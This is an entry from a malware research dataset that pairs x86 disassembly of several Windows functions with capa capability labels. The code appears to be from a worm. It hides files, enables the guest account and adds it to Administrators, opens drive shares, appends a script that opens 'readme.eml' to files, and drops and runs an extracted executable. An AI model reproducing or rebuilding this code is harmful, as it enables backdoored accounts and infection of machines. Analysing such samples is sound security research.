joyce8/EMBER2024-capa huggingface dataset:
Function at 0x37371b36
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
push esi
and dword [ebp - 4], 0
mov esi, 0x400
push esi
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
mov ebx, eax
test ebx, ebx
je 0x37371d3f
push edi
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
push ebx
call fcn.3737186e
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
mov edi, dword [sym.imp.MSVCRT.dll_strncat]
mov ecx, esi
sub ecx, eax
push ecx
push str..
push ebx
call edi
add esp, 0x20
lea eax, [ebp - 0x148]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x37371bb0
xor esi, esi
jmp 0x37371d2d
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [ebp - 0x11c]
mov dword [esp], 0x37379010
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x37371c75
lea eax, [ebp - 0x11c]
push 0x37379488
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x37371c75
test byte [ebp - 0x148], 0x10
je 0x37371c40
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
push ecx
push 0x37379484
push ebx
call edi
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
lea eax, [ebp - 0x11c]
push ecx
push eax
push ebx
call edi
push ebx
call fcn.37371b36
add esp, 0x24
jmp 0x37371d13
push 0x63
pop ecx
cmp eax, ecx
jne 0x37371c75
mov dword [ebp - 4], ecx
jmp 0x37371c75
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 4
pop ecx
jbe 0x37371c75
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.37371d43
pop ecx
pop ecx
push 1
pop ecx
cmp eax, ecx
je 0x37371d1e
mov dword [ebp - 4], 0x63
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x37371d21
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [ebp - 0x11c]
mov dword [esp], 0x37379010
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x37371c75
lea eax, [ebp - 0x11c]
push 0x37379488
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x37371c75
test byte [ebp - 0x148], 0x10
je 0x37371c40
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
push ecx
push 0x37379484
push ebx
call edi
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
lea eax, [ebp - 0x11c]
push ecx
push eax
push ebx
call edi
push ebx
call fcn.37371b36
add esp, 0x30
push 1
pop ecx
cmp eax, ecx
jne 0x37371c34
mov dword [ebp - 4], ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [ebp - 4]
push ebx
push 0
push dword [0x3737ad14]
call dword [0x3737acd0]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x37372078
Capabilities:
Delete registry key
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push ebx
push esi
lea eax, [ebp - 0xc]
push edi
push eax
xor ebx, ebx
push 0xf003f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x373720f3
push 4
lea eax, [ebp - 8]
pop edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
push eax
push edi
push ebx
push str.Hidden
mov dword [ebp - 8], ebx
push dword [ebp - 0xc]
call esi
lea eax, [ebp - 8]
push edi
push eax
push edi
push ebx
push str.ShowSuperHidden
push dword [ebp - 0xc]
call esi
lea eax, [ebp - 8]
push edi
push eax
push edi
push ebx
push str.HideFileExt
push dword [ebp - 0xc]
mov dword [ebp - 8], 1
call esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x3737ad10], ebx
je 0x37372236
push ebx
push ebx
mov esi, 0x373795a0
push str.user_guest__add
mov edi, str.open
push esi
push edi
push ebx
call dword [0x3737acf4]
push ebx
push ebx
push str.user_guest__active
push esi
push edi
push ebx
call dword [0x3737acf4]
push ebx
push ebx
push str.localgroup_Guests_guest__add
push esi
push edi
push ebx
call dword [0x3737acf4]
push ebx
push ebx
push str.localgroup_Administrators_guest__add
push esi
push edi
push ebx
call dword [0x3737acf4]
push ebx
push ebx
push str.user_guest___
push esi
push edi
push ebx
call dword [0x3737acf4]
mov al, 0x63
mov byte [ebp - 1], al
jmp 0x37372163
mov al, byte [ebp - 1]
mov esi, str.share_c_c:_
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x22], al
mov byte [ebp - 0x1f], al
push ebx
lea eax, [ebp - 0x28]
push ebx
push eax
push 0x373795a0
push str.open
push ebx
call dword [0x3737acf4]
inc byte [ebp - 1]
mov al, byte [ebp - 1]
sub al, 0x63
cmp al, 0x18
jl 0x37372160
lea eax, [ebp - 8]
mov edi, 0x1fe
push eax
push 0xf003f
push ebx
push str.SYSTEMCurrentControlSetServiceslanmanserverSharesSecurity
push 0x80000002
mov dword [ebp - 0x10], 0xff
mov dword [ebp - 0x14], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x37372236
lea eax, [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
push eax
lea eax, [ebp - 0x328]
push eax
push ebx
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x128]
push eax
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x18], ebx
call esi
test eax, eax
jne 0x3737222d
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea eax, [ebp - 0x14]
inc dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x328]
push eax
push ebx
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x128]
push eax
mov dword [ebp - 0x10], 0xff
push dword [ebp - 0x18]
mov dword [ebp - 0x14], edi
push dword [ebp - 8]
jmp 0x373721ea
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x373723fc
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x37379494]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push edi
mov edi, 0x80000004
cmp eax, edi
mov dword [ebp - 4], 0x12
je 0x37372423
push eax
call ebx
mov eax, dword [0x37379498]
mov esi, 0x80000002
cmp eax, esi
je 0x37372434
push eax
call ebx
lea eax, [ebp - 4]
mov dword [0x37379494], edi
push eax
lea eax, [ebp - 0x18]
push eax
mov dword [0x37379498], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp byte [ebp - 0x18], 0x5c
jne 0x37372476
cmp byte [ebp - 0x17], 0x5c
jne 0x37372476
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x18]
mov esi, 0x3737d678
push eax
push esi
call edi
push esi
push 0x3737d68c
call edi
jmp 0x3737249a
lea eax, [ebp - 0x18]
mov esi, 0x3737d678
push eax
push str._s
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push esi
push 0x3737d68c
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x37372aed
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov ecx, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor eax, eax
push edi
mov dword [esi], eax
mov dword [ecx], eax
lea ecx, [ebp - 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, 0x20019
push ecx
push ebx
push eax
push str.softwaremicrosoftwindows_ntcurrentversionperflib
mov dword [ebp - 8], eax
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
call edi
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x37372bfd
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0
push str.Last_Counter
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x37372bfd
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push str.Version
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x37372b9c
lea eax, [ebp - 0xc]
mov dword [ebp - 0x14], str.Counters
push eax
push ebx
push 0
push str.softwaremicrosoftwindows_ntcurrentversionperflib009
push dword [ebp + 8]
call edi
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x37372bfd
jmp 0x37372ba9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], str.Counter_009
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea eax, [ebp - 0x10]
push 0
push eax
push 0
push dword [ebp - 0x14]
push dword [ebp - 0xc]
call ebx
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x37372bfd
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call edi
test eax, eax
mov dword [esi], eax
je 0x37372bf6
mov eax, dword [ebp + 0x18]
mov eax, dword [eax]
lea eax, [eax*4 + 4]
push eax
push 0x40
call edi
mov ecx, dword [ebp + 0x14]
test eax, eax
mov dword [ecx], eax
jne 0x37372c40
mov dword [ebp + 0x10], 8
mov esi, dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0x37372c0c
push esi
call edi
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
test eax, eax
je 0x37372c18
push eax
call edi
cmp dword [ebp - 8], 0
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x37372c29
push dword [ebp - 8]
call esi
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x37372c38
cmp eax, dword [ebp + 0xc]
je 0x37372c38
push eax
call esi
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push dword [esi]
push eax
push 0
push dword [ebp - 0x14]
push dword [ebp - 0xc]
call ebx
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x37372bfd
mov esi, dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
call edi
mov ebx, eax
test ebx, ebx
je 0x37372c18
push esi
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
lea esi, [esi + ebx + 1]
mov ecx, dword [ebp + 0x18]
cmp eax, dword [ecx]
ja 0x37372c87
mov ecx, dword [ebp + 0x14]
mov ecx, dword [ecx]
mov dword [ecx + eax*4], esi
push esi
call edi
lea esi, [esi + eax + 1]
push esi
call edi
mov ebx, eax
test ebx, ebx
jne 0x37372c6c
jmp 0x37372c18
Function at 0x37372ccc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
cmp dword [esi], 0
jne 0x37372cea
push dword [edi]
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esi], eax
mov ebx, 0xea
mov eax, dword [edi]
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 4]
push dword [esi]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
mov dword [ebp + 0x14], eax
jne 0x37372d2d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
add dword [edi], 0x400
push dword [edi]
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esi], eax
cmp dword [esi], 0
je 0x37372d3b
mov eax, dword [ebp + 0x14]
cmp eax, ebx
jne 0x37372d46
jmp 0x37372cef
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 8
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x37372d7d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
cmp edi, esi
jle 0x37372da4
lea eax, [ebp + 8]
mov dword [ebp + 8], esi
push eax
push esi
push esi
push 0x37372dab
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
dec edi
jne 0x37372d8b
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x37373330
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 8], eax
xor ebx, ebx
push 1
lea ecx, [ebx + 2]
pop eax
shl eax, cl
mov ecx, dword [ebp - 8]
test ecx, eax
je 0x3737339c
mov esi, 0x37379e08
lea edi, [ebp - 4]
movsw word es:[edi], word [esi]
mov al, bl
add al, 0x63
movsb byte es:[edi], byte [esi]
mov byte [ebp - 4], al
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x14]
push 0x37379484
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x3737339c
lea eax, [ebp - 4]
push eax
call fcn.373733aa
pop ecx
inc ebx
cmp ebx, 0x18
jl 0x37373344
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x37373623
Capabilities:
Copy file
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
and dword [ebp - 8], 0
mov esi, 0x400
push edi
push esi
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
mov edi, eax
test edi, edi
mov dword [ebp - 4], edi
je 0x373737d0
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_strncpy]
push esi
push dword [ebp + 8]
push edi
call ebx
push edi
call fcn.3737186e
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
push ecx
push str._readme.eml
push edi
mov edi, dword [sym.imp.MSVCRT.dll_strncat]
call edi
add esp, 0x20
push 0
push dword [ebp - 4]
push 0x3737c918
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp - 4]
push ebx
call fcn.3737186e
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
sub esi, eax
push esi
push 0x37379484
push ebx
call edi
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
mov ecx, 0x3ff
sub ecx, eax
push ecx
push dword [ebp + 0xc]
push ebx
call edi
add esp, 0x30
push 0x80
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp + 8], edi
jne 0x37373702
xor edi, edi
jmp 0x373737bd
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
je 0x373737b2
cmp eax, 0x800000
ja 0x373737b2
cmp eax, 0x19
jb 0x373737b2
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push esi
push 0xffffffffffffffe7
push edi
call ebx
cmp eax, 0xffffffff
je 0x373737b2
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x28]
push 0x19
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x373737b2
and byte [ebp - 0xf], 0
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
mov edi, str._r_n_html__script_language_JavaScript__window.open__readme.eml___null___resizableno_top6000_left6000____script___html_
push edi
call sub.MSVCRT.dll_strlen
mov ecx, edi
sub ecx, 0x19
add eax, ecx
push eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 0x10
test eax, eax
jne 0x37373788
push 1
pop edi
jmp 0x373737b4
push 2
push esi
push esi
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
je 0x373737b2
lea eax, [ebp - 8]
push esi
push eax
push edi
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x37373783
xor edi, edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
push esi
push dword [0x3737ad14]
call dword [0x3737acd0]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret
Function at 0x37374135
Capabilities:
Create process on windows
Create process suspended
Delete file
Extract resource via kernel32 functions
Get common file path
Get disk information
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc64
push ebx
push esi
push edi
push str.dontrunold
push 0x3737cd18
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x37374255
xor ebx, ebx
push 2
push ebx
push 0x3737c118
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
push 0xa
push 0x66
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0xc], eax
push edi
call esi
cmp eax, 0x64
jb 0x3737424e
lea eax, [ebp - 0x864]
push 0x3737c118
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x864]
pop ecx
mov byte [ebp - 0x861], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x37374232
lea eax, [ebp - 0xc64]
push 0x3737b918
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x464]
push 0x3737bd18
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0xc64]
push 0x2e
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
push str._.exe
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x464]
push 0x37379484
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xc64]
push eax
lea eax, [ebp - 0x464]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x30
jmp 0x3737427c
lea eax, [ebp - 0x464]
push eax
push ebx
push 0x37379e58
push 0x3737b518
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x3737425c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x3737431a
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x464]
push str..exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push ebx
push 0x26
push 2
push ebx
push ebx
lea eax, [ebp - 0x464]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push ebx
push eax
push dword [ebp - 4]
push edi
call esi
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x44
lea eax, [ebp - 0x64]
pop esi
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x20]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
mov dword [ebp - 0x64], esi
mov word [ebp - 0x34], 0xa
push eax
lea eax, [ebp - 0x64]
push eax
push 0x3737d118
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x464]
push 0x3737cd18
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea eax, [ebp - 0x464]
push eax
call fcn.37371899
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3737431f
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x400]
push 0x37379484
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x400]
push str.riched20.dll
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x400]
push 0
push eax
push 0x3737c518
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x400]
push 0x26
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
pop eax
leave
ret

Function at 0x37374384
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
call fcn.37371a7b
mov esi, 0x3737a878
push 0x2e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
test eax, eax
pop ecx
je 0x373743aa
and byte [eax], 0
push 0x400
lea eax, [ebp - 0x400]
push dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [ebp - 0x400]
push 0x37379484
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x400]
push esi
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x1c
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x64
cdq
mov ecx, 0x7fff
pop esi
idiv ecx
inc eax
cmp eax, 0x5f
jle 0x373743ff
push str..nws
jmp 0x37374404
push str..eml
lea eax, [ebp - 0x400]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x400]
pop ecx
push 0
push eax
push 0x3737c918
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x400]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
pop eax
leave
ret
Function at 0x3737443d
Capabilities:
Delete file
Get file size
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
push 3
push esi
mov ebx, 0x80000000
push 7
push ebx
push 0x3737c518
call edi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x37374516
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp - 4]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x37374510
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
push dword [ebp + 8]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x37374519
push eax
call sub.MSVCRT.dll_strcpy
push 0x37379484
push dword [ebp - 4]
call sub.MSVCRT.dll_strcat
push str.riched20.dll
push dword [ebp - 4]
call sub.MSVCRT.dll_strcat
add esp, 0x18
push esi
push esi
push 3
push esi
push 7
push ebx
push dword [ebp - 4]
call edi
mov edi, eax
cmp edi, 0xffffffff
jne 0x373744f0
push dword [ebp - 4]
push esi
push dword [0x3737ad14]
call dword [0x3737acd0]
jmp 0x37374516
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x37374523
push dword [ebp - 4]
push esi
push dword [0x3737ad14]
call dword [0x3737acd0]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call fcn.3737431f
pop ecx
xor eax, eax
jmp 0x3737457d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
add eax, 0x1e
cmp eax, ebx
jb 0x3737454a
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x64
cdq
mov ecx, 0x7fff
idiv ecx
cmp eax, 0x46
jle 0x3737456a
push 0x80
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp + 8]
call fcn.3737431f
pop ecx
push dword [ebp - 4]
push esi
push dword [0x3737ad14]
call dword [0x3737acd0]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret